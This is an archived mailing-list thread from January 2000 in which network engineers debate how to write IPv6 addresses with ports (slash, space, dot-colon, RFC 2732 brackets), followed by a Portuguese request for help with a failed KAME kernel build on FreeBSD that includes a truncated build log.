> address.:port (dot-colon) would be good (and it already works with domain
> names), but I haven't seen this done yet. 

> Any thoughts? 

  I've seen people use both "IPv6-addr port" (space sep.) and
"IPv6-addr/port".  I think I really like using '/', and haven't yet
found a place where that will cause problems except for in URIs.
Using spaces is just universally compliated.  I guess we could use
something like '%', but then again, me randomly proposing things here
is probabaly not the best place to make suggestions usefully.  ;-)

                        - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Mon Jan 10 03:08:00 2000
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Date: Mon, 10 Jan 2000 12:07:39 +0100
From: Harold Gutch <logix@foobar.franken.de>
To: "Chris P. Ross" <cross@eng.us.uu.net>,
        "Dwayne C . Litzenberger" <dlitz@cheerful.com>
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On Mon, Jan 10, 2000 at 02:06:52AM -0500, Chris P. Ross wrote:
> 
> "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > I'm not really knowledgeable about this, but what is a good, standard way
> > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > address.:port (dot-colon) would be good (and it already works with domain
> > names), but I haven't seen this done yet. 
> 
> > Any thoughts? 
> 
>   I've seen people use both "IPv6-addr port" (space sep.) and
> "IPv6-addr/port".  I think I really like using '/', and haven't yet

I don't like the slash ('/'), since it's used to to seperate the
base network address and the relevant number of bits in IPv4
(e.g. 192.168.10.0/24 isn't the same as 192.168.10.0:24).
That dot-colon idea looks much better to me.

bye,
  Harold

-- 
Someone should do a study to find out how many human life spans have
been lost waiting for NT to reboot.
              Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc

From 6bone-owner  Mon Jan 10 04:24:52 2000
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Subject: Re: IPv6 address/port format 
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"Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> I'm not really knowledgeable about this, but what is a good, standard way
> to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> address.:port (dot-colon) would be good (and it already works with domain
> names), but I haven't seen this done yet. 

See RFC 2732, Format for Literal IPv6 Addresses in URL's.  Sample with
address and port.

http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html



From 6bone-owner  Mon Jan 10 06:08:16 2000
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Date: Mon, 10 Jan 2000 15:08:13 MET
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: quake-devel@lists.sourceforge.net, 6bone@ISI.EDU,
        debian-ipv6@lists.debian.org, debian-devel@lists.debian.org
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Subject: Re: IPv6 address/port format
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>  I've seen people use both "IPv6-addr port" (space sep.) and
>"IPv6-addr/port".  I think I really like using '/', and haven't yet
>found a place where that will cause problems except for in URIs.
>Using spaces is just universally compliated.  I guess we could use
>something like '%', but then again, me randomly proposing things here
>is probabaly not the best place to make suggestions usefully.  ;-)
>
>                        - Chris

  I suppose we're suffering from a severe case of character overload:
  
  In the IPv4 world the convention is a.b.c.d:port, with a,b,c and d an
  external encoding base 10 of the 4-bytes of the 32bit address.
  
  Talking in routing terms the convention is a.b.c.d/prefix, with a.b.c.d
  being the network part of the address and a prefix length [1..32] in
  bits, again given as a number base 10.
  
  In the IPv6 world, both the ".", as well as the ":" as well as the "/"
  are being used to specify the address and/or the length of the routing
  prefix.
  The external erpresentation uses base 16, with the 128 bits grouped into
  8 fields of 16 bits each, separated by colons (see RFC 2373):
  
	FE80::02A0:24FF:FE9D:5094 (e.g. for a MAC Address of 00a0.249d.5094)
	
	3FFE:8034:80::0/48        (e.g. for a routing prefix)
	
        ::FFFF:10.2.3.4           (e.g. for a mixed v4/v6 environment)
	
  We already ran into the port specification problem for IPv6, last resort
  was to use white-space. Hmmm....

  Wilfried.
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 __________________________________________________________________________

From 6bone-owner  Mon Jan 10 07:30:46 2000
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To: "Chris P. Ross" <cross@eng.us.uu.net>
cc: "Dwayne C . Litzenberger" <dlitz@cheerful.com>,
        Quake Development Mailing List <quake-devel@lists.sourceforge.net>,
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Subject: Re: IPv6 address/port format 
In-Reply-To: Message from "Chris P. Ross" <cross@eng.us.uu.net> 
   of "Mon, 10 Jan 2000 02:06:52 EST." <14457.34060.339364.62768@ballista.eng.us.uu.net> 
Date: Mon, 10 Jan 2000 10:30:24 -0500
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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> "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > I'm not really knowledgeable about this, but what is a good, standard way
> > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > address.:port (dot-colon) would be good (and it already works with domain
> > names), but I haven't seen this done yet. 
> 
> > Any thoughts? 
> 
>   I've seen people use both "IPv6-addr port" (space sep.) and
> "IPv6-addr/port".  I think I really like using '/', and haven't yet
> found a place where that will cause problems except for in URIs.

It's too easily confused with network prefixes.. (IPv6-addr/prefixlen).

How am I supposed to know whether 3ffe:1ce1:0:b5::1/64 should be
parsed as an <address,port> pair or as a network prefix?

						- Bill

From 6bone-owner  Mon Jan 10 07:31:29 2000
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From: "Chris Brown" <6bone@chrisbrown.org>
Subject: Re: IPv6 address/port format
In-Reply-To: <20000110120739.A27826@foobar.franken.de> from Harold Gutch at "Jan 10, 2000 12: 7:39 pm"
To: logix@foobar.franken.de (Harold Gutch)
Date: Mon, 10 Jan 2000 10:31:29 -0500 (EST)
Cc: cross@eng.us.uu.net, dlitz@cheerful.com, quake-devel@lists.sourceforge.net,
        6bone@ISI.EDU, debian-ipv6@lists.debian.org,
        debian-devel@lists.debian.org
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I would tend twords using dot-colon for host:port combinations, and
dot-slash for network/bits for two reasons.  This first is that this
is already common practice in IPv4. The second reason is that using
the same notation for two different but related purposes would
eventually lead to confusion.

Chris

> On Mon, Jan 10, 2000 at 02:06:52AM -0500, Chris P. Ross wrote:
> > 
> > "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > > I'm not really knowledgeable about this, but what is a good, standard way
> > > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > > address.:port (dot-colon) would be good (and it already works with domain
> > > names), but I haven't seen this done yet. 
> > 
> > > Any thoughts? 
> > 
> >   I've seen people use both "IPv6-addr port" (space sep.) and
> > "IPv6-addr/port".  I think I really like using '/', and haven't yet
> 
> I don't like the slash ('/'), since it's used to to seperate the
> base network address and the relevant number of bits in IPv4
> (e.g. 192.168.10.0/24 isn't the same as 192.168.10.0:24).
> That dot-colon idea looks much better to me.
> 
> bye,
>   Harold
> 
> -- 
> Someone should do a study to find out how many human life spans have
> been lost waiting for NT to reboot.
>               Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc
> 


From 6bone-owner  Mon Jan 10 12:20:36 2000
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To: Jason Gunthorpe <jgg@ualberta.ca>
CC: "Chris P. Ross" <cross@eng.us.uu.net>,
        "Dwayne C . Litzenberger" <dlitz@cheerful.com>,
        Quake Development Mailing List <quake-devel@lists.sourceforge.net>,
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Subject: Re: IPv6 address/port format
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Jason Gunthorpe wrote:

> On Mon, 10 Jan 2000, Chris P. Ross wrote:
>
> >   I've seen people use both "IPv6-addr port" (space sep.) and
> > "IPv6-addr/port".  I think I really like using '/', and haven't yet
> > found a place where that will cause problems except for in URIs.
> > Using spaces is just universally compliated.  I guess we could use
> > something like '%', but then again, me randomly proposing things here
> > is probabaly not the best place to make suggestions usefully.  ;-)
>
> The various RFCs for URIS basically mandate a format like this:
>
> http://user:password@host:port/
>
> Trouble is that IPv6 numberic addresses are incompatible with that form..
> Using % (uri escape char) and / (uri path seperator) are both no
> goes.
>
> We may just find that you cannot use IPv6 numeric addresses at all with
> alot of things...
>
> It seems to me that using : for the seperator was a very bad idea :<

Perhaps. However, file:/// URL's for DOS boxen encode ':' in the path as a pipe.
No reason why the same thing wouldn't work for v6 addresses in URLs.

D


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Date: Mon, 10 Jan 2000 02:06:52 -0500 (EST)
To: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
Cc: Quake Development Mailing List <quake-devel@lists.sourceforge.net>,
        6bone@ISI.EDU, debian-ipv6@lists.debian.org,
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Subject: Re: IPv6 address/port format
In-Reply-To: Dwayne C . Litzenberger's message of Sun, 9 January 2000 15:16:45 -0600 <20000109151645.A5340@dlitz.dyn.dhs.org>
References: <20000109151645.A5340@dlitz.dyn.dhs.org>
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"Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> I'm not really knowledgeable about this, but what is a good, standard way
> to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> address.:port (dot-colon) would be good (and it already works with domain
> names), but I haven't seen this done yet. 

> Any thoughts? 

  I've seen people use both "IPv6-addr port" (space sep.) and
"IPv6-addr/port".  I think I really like using '/', and haven't yet
found a place where that will cause problems except for in URIs.
Using spaces is just universally compliated.  I guess we could use
something like '%', but then again, me randomly proposing things here
is probabaly not the best place to make suggestions usefully.  ;-)

                        - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Mon Jan 10 13:11:11 2000
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To: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
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        6bone@ISI.EDU, debian-ipv6@lists.debian.org,
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Subject: Re: IPv6 address/port format 
In-reply-to: Your message of "Mon, 10 Jan 2000 12:07:39 BST."
             <20000110120739.A27826@foobar.franken.de> 
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"Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> I'm not really knowledgeable about this, but what is a good, standard way
> to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> address.:port (dot-colon) would be good (and it already works with domain
> names), but I haven't seen this done yet. 

See RFC 2732, Format for Literal IPv6 Addresses in URL's.  Sample with
address and port.

http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html

From 6bone-owner  Mon Jan 10 13:11:13 2000
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From: Harold Gutch <logix@foobar.franken.de>
To: "Chris P. Ross" <cross@eng.us.uu.net>,
        "Dwayne C . Litzenberger" <dlitz@cheerful.com>
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On Mon, Jan 10, 2000 at 02:06:52AM -0500, Chris P. Ross wrote:
> 
> "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > I'm not really knowledgeable about this, but what is a good, standard way
> > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > address.:port (dot-colon) would be good (and it already works with domain
> > names), but I haven't seen this done yet. 
> 
> > Any thoughts? 
> 
>   I've seen people use both "IPv6-addr port" (space sep.) and
> "IPv6-addr/port".  I think I really like using '/', and haven't yet

I don't like the slash ('/'), since it's used to to seperate the
base network address and the relevant number of bits in IPv4
(e.g. 192.168.10.0/24 isn't the same as 192.168.10.0:24).
That dot-colon idea looks much better to me.

bye,
  Harold

-- 
Someone should do a study to find out how many human life spans have
been lost waiting for NT to reboot.
              Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc

From 6bone-owner  Mon Jan 10 13:11:18 2000
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Date: Mon, 10 Jan 2000 15:08:13 MET
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: quake-devel@lists.sourceforge.net, 6bone@ISI.EDU,
        debian-ipv6@lists.debian.org, debian-devel@lists.debian.org
CC: woeber@cc.univie.ac.at
Message-ID: <009E3F04.FAB256C4.6@cc.univie.ac.at>
Subject: Re: IPv6 address/port format
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>  I've seen people use both "IPv6-addr port" (space sep.) and
>"IPv6-addr/port".  I think I really like using '/', and haven't yet
>found a place where that will cause problems except for in URIs.
>Using spaces is just universally compliated.  I guess we could use
>something like '%', but then again, me randomly proposing things here
>is probabaly not the best place to make suggestions usefully.  ;-)
>
>                        - Chris

  I suppose we're suffering from a severe case of character overload:
  
  In the IPv4 world the convention is a.b.c.d:port, with a,b,c and d an
  external encoding base 10 of the 4-bytes of the 32bit address.
  
  Talking in routing terms the convention is a.b.c.d/prefix, with a.b.c.d
  being the network part of the address and a prefix length [1..32] in
  bits, again given as a number base 10.
  
  In the IPv6 world, both the ".", as well as the ":" as well as the "/"
  are being used to specify the address and/or the length of the routing
  prefix.
  The external erpresentation uses base 16, with the 128 bits grouped into
  8 fields of 16 bits each, separated by colons (see RFC 2373):
  
	FE80::02A0:24FF:FE9D:5094 (e.g. for a MAC Address of 00a0.249d.5094)
	
	3FFE:8034:80::0/48        (e.g. for a routing prefix)
	
        ::FFFF:10.2.3.4           (e.g. for a mixed v4/v6 environment)
	
  We already ran into the port specification problem for IPv6, last resort
  was to use white-space. Hmmm....

  Wilfried.
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 __________________________________________________________________________

From 6bone-owner  Mon Jan 10 13:11:34 2000
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To: "Chris P. Ross" <cross@eng.us.uu.net>
cc: "Dwayne C . Litzenberger" <dlitz@cheerful.com>,
        Quake Development Mailing List <quake-devel@lists.sourceforge.net>,
        6bone@ISI.EDU, debian-ipv6@lists.debian.org,
        debian-devel@lists.debian.org
Subject: Re: IPv6 address/port format 
In-Reply-To: Message from "Chris P. Ross" <cross@eng.us.uu.net> 
   of "Mon, 10 Jan 2000 02:06:52 EST." <14457.34060.339364.62768@ballista.eng.us.uu.net> 
Date: Mon, 10 Jan 2000 10:30:24 -0500
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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> "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > I'm not really knowledgeable about this, but what is a good, standard way
> > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > address.:port (dot-colon) would be good (and it already works with domain
> > names), but I haven't seen this done yet. 
> 
> > Any thoughts? 
> 
>   I've seen people use both "IPv6-addr port" (space sep.) and
> "IPv6-addr/port".  I think I really like using '/', and haven't yet
> found a place where that will cause problems except for in URIs.

It's too easily confused with network prefixes.. (IPv6-addr/prefixlen).

How am I supposed to know whether 3ffe:1ce1:0:b5::1/64 should be
parsed as an <address,port> pair or as a network prefix?

						- Bill

From 6bone-owner  Mon Jan 10 13:12:11 2000
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From: "Chris Brown" <6bone@chrisbrown.org>
Subject: Re: IPv6 address/port format
In-Reply-To: <20000110120739.A27826@foobar.franken.de> from Harold Gutch at "Jan 10, 2000 12: 7:39 pm"
To: logix@foobar.franken.de (Harold Gutch)
Date: Mon, 10 Jan 2000 10:31:29 -0500 (EST)
Cc: cross@eng.us.uu.net, dlitz@cheerful.com, quake-devel@lists.sourceforge.net,
        6bone@ISI.EDU, debian-ipv6@lists.debian.org,
        debian-devel@lists.debian.org
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I would tend twords using dot-colon for host:port combinations, and
dot-slash for network/bits for two reasons.  This first is that this
is already common practice in IPv4. The second reason is that using
the same notation for two different but related purposes would
eventually lead to confusion.

Chris

> On Mon, Jan 10, 2000 at 02:06:52AM -0500, Chris P. Ross wrote:
> > 
> > "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > > I'm not really knowledgeable about this, but what is a good, standard way
> > > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > > address.:port (dot-colon) would be good (and it already works with domain
> > > names), but I haven't seen this done yet. 
> > 
> > > Any thoughts? 
> > 
> >   I've seen people use both "IPv6-addr port" (space sep.) and
> > "IPv6-addr/port".  I think I really like using '/', and haven't yet
> 
> I don't like the slash ('/'), since it's used to to seperate the
> base network address and the relevant number of bits in IPv4
> (e.g. 192.168.10.0/24 isn't the same as 192.168.10.0:24).
> That dot-colon idea looks much better to me.
> 
> bye,
>   Harold
> 
> -- 
> Someone should do a study to find out how many human life spans have
> been lost waiting for NT to reboot.
>               Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc
> 

From 6bone-owner  Mon Jan 10 17:12:42 2000
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Date: Mon, 10 Jan 2000 23:04:16 -0200
To: 6bone@ISI.EDU, freebsd@br.freebsd.org, ipv6@rnp.br
From: Boozy <boozy@rabelo.eti.br>
Subject: Problemas na instalacao do KAME
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--=====================_947559856==_
Content-Type: text/plain; charset="us-ascii"

Ola,

Fiz o download da ultima versao stable do KAME para FreeBSD (23/12/1999),
mas obtive sucesso na sua instalacao.
Descompactei o arquivo tgz em /usr/kame e copiei o arquivo GENERIC.v6 para
saturno.v6 sem fazer nehuma alteracao. Executei /usr/sbin/config saturno.v6
sem problemas. Entretanto aconteceram alguns erros quando tentei executar
make depend.
Sera que alguem pode me dar uma luz? Estou usando FreeBSD 3.3 e estou
enviando o arquivo gerado atraves do script.

[]

Luciano Rabelo


--=====================_947559856==_
Content-Type: text/plain; charset="iso-8859-1"
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Script started on Mon Jan 10 17:52:51 2000
saturno# pwd
/usr/kame/freebsd3
saturno# cd sys/i386/conf
saturno# cp GENERIC.v6 saturno.v6
saturno# /usr/sbin/config saturno.v6
Don't forget to do a ``make depend''
Kernel build directory is ../../compile/saturno.v6
saturno# cd ../../compile/saturno.v6/
saturno# make depend
cc -c -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit =
 -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith=
 -Winline -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi =
 -nostdinc -I- -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include=
 opt_global.h -D_KERNEL ../../i386/i386/genassym.c
cc -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit  -Wnested-externs=
 -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith -Winline=
 -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi  -nostdinc -I-=
 -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include opt_global.h=
 -D_KERNEL genassym.o -o genassym
./genassym >assym.s
rm -f param.c
cp ../../conf/param.c .
sh ../../kern/vnode_if.sh ../../kern/vnode_if.src
make -f ../../dev/aic7xxx/Makefile MAKESRCPATH=3D../../dev/aic7xxx
Warning: Object directory not changed from original=
 /usr/kame/freebsd3/sys/compile/saturno.v6
yacc -d ../../dev/aic7xxx/aicasm_gram.y
mv y.tab.c aicasm_gram.c
cc -O -pipe -I/usr/include -I.   -c aicasm_gram.c
lex -t  ../../dev/aic7xxx/aicasm_scan.l > aicasm_scan.c
cc -O -pipe -I/usr/include -I.   -c aicasm_scan.c
cc -O -pipe -I/usr/include -I.   -c ../../dev/aic7xxx/aicasm.c
cc -O -pipe -I/usr/include -I.   -c ../../dev/aic7xxx/aicasm_symbol.c
cc -O -pipe -I/usr/include -I.    -o aicasm aicasm_gram.o aicasm_scan.o=
 aicasm.o aicasm_symbol.o  -ll
./aicasm -nostdinc -I- -I. -I../.. -I../../../include -o aic7xxx_seq.h -r=
 aic7xxx_reg.h ../../dev/aic7xxx/aic7xxx.seq
./aicasm: 709 instructions used
perl5 ../../kern/makedevops.pl -c ../../kern/device_if.m
perl5 ../../kern/makedevops.pl -h ../../kern/device_if.m
perl5 ../../kern/makedevops.pl -c ../../kern/bus_if.m
perl5 ../../kern/makedevops.pl -h ../../kern/bus_if.m
rm -f .newdep
mkdep -a -f .newdep -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit =
 -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith=
 -Winline -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi =
 -nostdinc -I- -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include=
 opt_global.h -D_KERNEL -elf device_if.c bus_if.c ../../cam/cam.c=
 ../../cam/cam_xpt.c  ../../cam/cam_extend.c ../../cam/cam_queue.c=
 ../../cam/cam_periph.c  ../../cam/cam_sim.c ../../cam/scsi/scsi_all.c=
 ../../cam/scsi/scsi_da.c  ../../cam/scsi/scsi_sa.c ../../cam/scsi/scsi_cd.c=
  ../../cam/scsi/scsi_pass.c ../../dev/advansys/advansys.c =
 ../../dev/advansys/advlib.c ../../dev/advansys/advmcode.c =
 ../../dev/advansys/adwcam.c ../../dev/advansys/adwlib.c =
 ../../dev/advansys/adwmcode.c ../../dev/aha/aha.c =
 ../../dev/aic7xxx/aic7xxx.c ../../dev/aic7xxx/93cx6.c =
 ../../dev/buslogic/bt.c ../../dev/isp/isp_freebsd.c ../../dev/isp/isp.c =
 ../../dev/dpt/dpt_scsi.c ../../dev/ppbus/lpt.c ../../dev/ppbus/ppb_base.c =
 ../../dev/ppbus/ppb_1284.c ../../dev/ppbus/ppb_msq.c =
 ../../dev/ppbus/ppbconf.c ../../dev/ppbus/ppi.c ../../dev/ppbus/if_plip.c =
 ../../dev/vx/if_vx.c ../../isofs/cd9660/cd9660_bmap.c =
 ../../isofs/cd9660/cd9660_lookup.c ../../isofs/cd9660/cd9660_node.c =
 ../../isofs/cd9660/cd9660_rrip.c ../../isofs/cd9660/cd9660_util.c =
 ../../isofs/cd9660/cd9660_vfsops.c ../../isofs/cd9660/cd9660_vnops.c =
 ../../kern/imgact_aout.c ../../kern/imgact_elf.c ../../kern/imgact_gzip.c =
 ../../kern/imgact_shell.c ../../kern/inflate.c ../../kern/init_main.c =
 ../../kern/init_sysent.c ../../kern/kern_intr.c ../../kern/kern_module.c =
 ../../kern/kern_linker.c ../../kern/link_aout.c ../../kern/link_elf.c =
 ../../kern/kern_acct.c ../../kern/kern_clock.c ../../kern/kern_conf.c =
 ../../kern/kern_descrip.c ../../kern/kern_environment.c =
 ../../kern/kern_exec.c ../../kern/kern_exit.c ../../kern/kern_fork.c =
 ../../kern/kern_ktrace.c ../../kern/kern_lock.c ../../kern/kern_lockf.c =
 ../../kern/kern_malloc.c ../../kern/kern_mib.c ../../kern/kern_ntptime.c =
 ../../kern/kern_physio.c ../../kern/kern_proc.c ../../kern/kern_prot.c =
 ../../kern/kern_resource.c ../../kern/kern_shutdown.c =
 ../../kern/kern_sig.c ../../kern/kern_subr.c ../../kern/kern_synch.c =
 ../../kern/kern_syscalls.c ../../kern/kern_sysctl.c  ../../kern/kern_time.c=
 ../../kern/kern_timeout.c ../../kern/kern_xxx.c  ../../kern/md5c.c=
 ../../kern/subr_autoconf.c ../../kern/subr_bus.c  ../../kern/subr_devstat.c=
 ../../kern/subr_diskslice.c  ../../kern/subr_dkbad.c ../../kern/subr_log.c=
 ../../kern/subr_module.c  ../../kern/subr_prf.c ../../kern/subr_prof.c=
 ../../kern/subr_rlist.c  ../../kern/subr_scanf.c ../../kern/subr_xxx.c=
 ../../kern/sys_generic.c  ../../kern/sys_pipe.c ../../kern/sys_process.c=
 ../../kern/subr_rman.c  ../../kern/sys_socket.c ../../kern/sysv_ipc.c=
 ../../kern/sysv_msg.c  ../../kern/sysv_sem.c ../../kern/sysv_shm.c=
 ../../kern/tty.c  ../../kern/tty_compat.c ../../kern/tty_conf.c=
 ../../kern/tty_pty.c  ../../kern/tty_subr.c ../../kern/tty_tty.c=
 ../../kern/uipc_domain.c  ../../kern/uipc_mbuf.c ../../kern/uipc_proto.c=
 ../../kern/uipc_socket.c  ../../kern/uipc_socket2.c=
 ../../kern/uipc_syscalls.c  ../../kern/uipc_usrreq.c ../../kern/vfs_bio.c=
 ../../kern/vfs_cache.c  ../../kern/vfs_cluster.c ../../kern/vfs_conf.c=
 ../../kern/vfs_default.c  ../../kern/vfs_init.c ../../kern/vfs_lookup.c=
 ../../kern/vfs_subr.c  ../../kern/vfs_syscalls.c ../../kern/vfs_vnops.c =
 ../../kern/kern_threads.c ../../kern/vfs_aio.c =
 ../../miscfs/deadfs/dead_vnops.c ../../miscfs/fifofs/fifo_vnops.c =
 ../../miscfs/procfs/procfs_ctl.c ../../miscfs/procfs/procfs_fpregs.c =
 ../../miscfs/procfs/procfs_map.c ../../miscfs/procfs/procfs_mem.c =
 ../../miscfs/procfs/procfs_note.c ../../miscfs/procfs/procfs_regs.c =
 ../../miscfs/procfs/procfs_status.c ../../miscfs/procfs/procfs_subr.c =
 ../../miscfs/procfs/procfs_type.c ../../miscfs/procfs/procfs_vfsops.c =
 ../../miscfs/procfs/procfs_vnops.c ../../miscfs/specfs/spec_vnops.c =
 ../../msdosfs/msdosfs_conv.c ../../msdosfs/msdosfs_denode.c =
 ../../msdosfs/msdosfs_fat.c ../../msdosfs/msdosfs_lookup.c =
 ../../msdosfs/msdosfs_vfsops.c ../../msdosfs/msdosfs_vnops.c =
 ../../net/bpf.c ../../net/bpf_filter.c ../../net/altq_conf.c ../../net/if.c=
  ../../net/if_ethersubr.c ../../net/if_loop.c ../../net/if_media.c =
 ../../net/if_mib.c ../../net/if_ppp.c ../../net/if_sl.c ../../net/if_tun.c =
 ../../net/ppp_tty.c ../../net/radix.c ../../net/raw_cb.c =
 ../../net/raw_usrreq.c ../../net/route.c ../../net/rtsock.c =
 ../../net/slcompress.c ../../net/zlib.c ../../netinet/altq_afmap.c =
 ../../netinet/altq_blue.c ../../netinet/altq_cbq.c =
 ../../netinet/altq_cdnr.c ../../netinet/altq_fifoq.c =
 ../../netinet/altq_hfsc.c ../../netinet/altq_localq.c =
 ../../netinet/altq_red.c ../../netinet/altq_rio.c =
 ../../netinet/altq_rmclass.c ../../netinet/altq_subr.c =
 ../../netinet/altq_wfq.c ../../netinet/if_ether.c ../../netinet/igmp.c =
 ../../netinet/in.c ../../netinet/in_pcb.c ../../netinet/in_proto.c =
 ../../netinet/in_rmx.c ../../netinet/ip_flow.c ../../netinet/ip_icmp.c =
 ../../netinet/ip_input.c ../../netinet/ip_mroute.c =
 ../../netinet/ip_output.c ../../netinet/raw_ip.c  ../../netinet/tcp_input.c=
 ../../netinet/tcp_output.c  ../../netinet/tcp_subr.c=
 ../../netinet/tcp_timer.c  ../../netinet/tcp_usrreq.c=
 ../../netinet/udp_usrreq.c ../../netkey/key.c  ../../netkey/key_debug.c=
 ../../netkey/keysock.c ../../nfs/nfs_bio.c  ../../nfs/nfs_node.c=
 ../../nfs/nfs_nqlease.c ../../nfs/nfs_serv.c  ../../nfs/nfs_socket.c=
 ../../nfs/nfs_srvcache.c ../../nfs/nfs_subs.c  ../../nfs/nfs_syscalls.c=
 ../../nfs/nfs_vfsops.c ../../nfs/nfs_vnops.c  ../../pci/amd.c=
 ../../pci/adv_pci.c ../../pci/adw_pci.c ../../pci/ahc_pci.c =
 ../../pci/bt_pci.c ../../pci/dpt_pci.c ../../pci/if_al.c ../../pci/if_ax.c =
 ../../pci/if_de.c ../../pci/if_ed_p.c ../../pci/if_fxp.c =
 ../../pci/if_lnc_p.c ../../pci/if_mx.c ../../pci/if_pn.c ../../pci/if_rl.c =
 ../../pci/if_sf.c ../../pci/if_tl.c ../../pci/if_tx.c ../../pci/if_vr.c =
 ../../pci/if_vx_pci.c ../../pci/if_wb.c ../../pci/if_xl.c =
 ../../pci/isp_pci.c ../../pci/ncr.c ../../pci/pci.c ../../pci/pci_compat.c =
 ../../pci/pcisupport.c ../../pci/wdc_p.c ../../posix4/posix4_mib.c =
 ../../posix4/p1003_1b.c ../../net/if_dummy.c ../../net/if_gif.c =
 ../../net/net_osdep.c ../../netinet/in_gif.c ../../netinet6/in6_gif.c =
 ../../netinet/ip_ecn.c ../../netinet6/in6.c ../../netinet6/in6_ifattach.c =
 ../../netinet6/in6_cksum.c ../../netinet6/in6_pcb.c =
 ../../netinet6/in6_proto.c ../../netinet6/in6_rmx.c =
 ../../netinet6/in6_prefix.c ../../netinet6/dest6.c ../../netinet6/frag6.c =
 ../../netinet6/icmp6.c ../../netinet6/ip6_input.c =
 ../../netinet6/ip6_forward.c ../../netinet6/ip6_mroute.c =
 ../../netinet6/ip6_output.c ../../netinet6/route6.c ../../netinet6/mld6.c =
 ../../netinet6/nd6.c ../../netinet6/nd6_nbr.c ../../netinet6/nd6_rtr.c =
 ../../netinet6/raw_ip6.c ../../netinet6/udp6_usrreq.c =
 ../../netinet6/ah_core.c ../../netinet6/esp_core.c ../../netinet6/ipsec.c =
 ../../netinet6/ah_output.c ../../netinet6/ah_input.c =
 ../../netinet6/esp_output.c ../../netinet6/esp_input.c =
 ../../netinet6/ipcomp_core.c ../../netinet6/ipcomp_input.c =
 ../../netinet6/ipcomp_output.c ../../crypto/sha1.c =
 ../../crypto/des/des_cbc.c ../../crypto/des/des_ecb.c =
 ../../crypto/des/des_setkey.c ../../crypto/des/des_3cbc.c =
 ../../crypto/blowfish/bf_cbc.c ../../crypto/blowfish/bf_cbc_m.c =
 ../../crypto/blowfish/bf_enc.c ../../crypto/blowfish/bf_skey.c =
 ../../crypto/cast128/cast128.c ../../crypto/cast128/cast128_cbc.c =
 ../../crypto/rc5/rc5.c ../../crypto/rc5/rc5_cbc.c =
 ../../ufs/ffs/ffs_alloc.c ../../ufs/ffs/ffs_balloc.c =
 ../../ufs/ffs/ffs_inode.c ../../ufs/ffs/ffs_softdep_stub.c =
 ../../ufs/ffs/ffs_subr.c ../../ufs/ffs/ffs_tables.c =
 ../../ufs/ffs/ffs_vfsops.c ../../ufs/ffs/ffs_vnops.c =
 ../../ufs/mfs/mfs_vfsops.c ../../ufs/mfs/mfs_vnops.c =
 ../../ufs/ufs/ufs_bmap.c ../../ufs/ufs/ufs_disksubr.c =
 ../../ufs/ufs/ufs_ihash.c ../../ufs/ufs/ufs_inode.c =
 ../../ufs/ufs/ufs_lookup.c ../../ufs/ufs/ufs_quota.c =
 ../../ufs/ufs/ufs_vfsops.c ../../ufs/ufs/ufs_vnops.c =
 ../../vm/default_pager.c ../../vm/device_pager.c ../../vm/swap_pager.c =
 ../../vm/vm_fault.c ../../vm/vm_glue.c ../../vm/vm_init.c=
 ../../vm/vm_kern.c  ../../vm/vm_map.c ../../vm/vm_meter.c=
